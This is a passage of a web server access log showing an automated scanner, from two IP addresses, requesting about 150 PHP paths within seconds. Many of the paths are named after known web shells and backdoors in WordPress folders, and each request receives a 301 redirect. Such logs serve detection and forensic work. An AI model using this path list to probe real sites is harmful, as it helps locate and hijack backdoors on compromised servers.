Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:56 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:56 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /phpzipincs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:57 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:57 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /Kenneth.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:19:58 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:58 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /Rosette.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:59 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" 